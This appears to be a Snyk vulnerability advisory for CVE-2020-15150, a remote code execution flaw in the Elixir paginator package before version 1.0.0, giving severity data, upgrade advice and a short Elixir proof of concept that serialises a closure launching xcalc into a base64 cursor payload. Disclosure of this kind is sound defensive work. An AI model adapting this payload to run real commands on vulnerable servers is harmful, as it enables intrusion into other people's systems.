Remote Code Execution (RCE) Affecting paginator package, versions <1.0.0


Severity

Recommended
0.0
critical
0
10

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Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
3.28% (87th percentile)

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  • Snyk IDSNYK-HEX-PAGINATOR-1086684
  • published30 Mar 2021
  • disclosed18 Aug 2020
  • creditPeter Stöckli

Introduced: 18 Aug 2020

CVE-2020-15150  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade paginator to version 1.0.0 or higher.

Overview

paginator is a package that enables cursor-based pagination for Elixir Ecto.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via paginate() function when untrusted input is passed from a remote user.

PoC

defp rce_start_xcalc() do
    exploit = fn _, _ ->  System.cmd("xcalc", []); {:cont, []} end
    payload =
    exploit
    |> :erlang.term_to_binary()
    |> Base.url_encode64()
end

CVSS Base Scores

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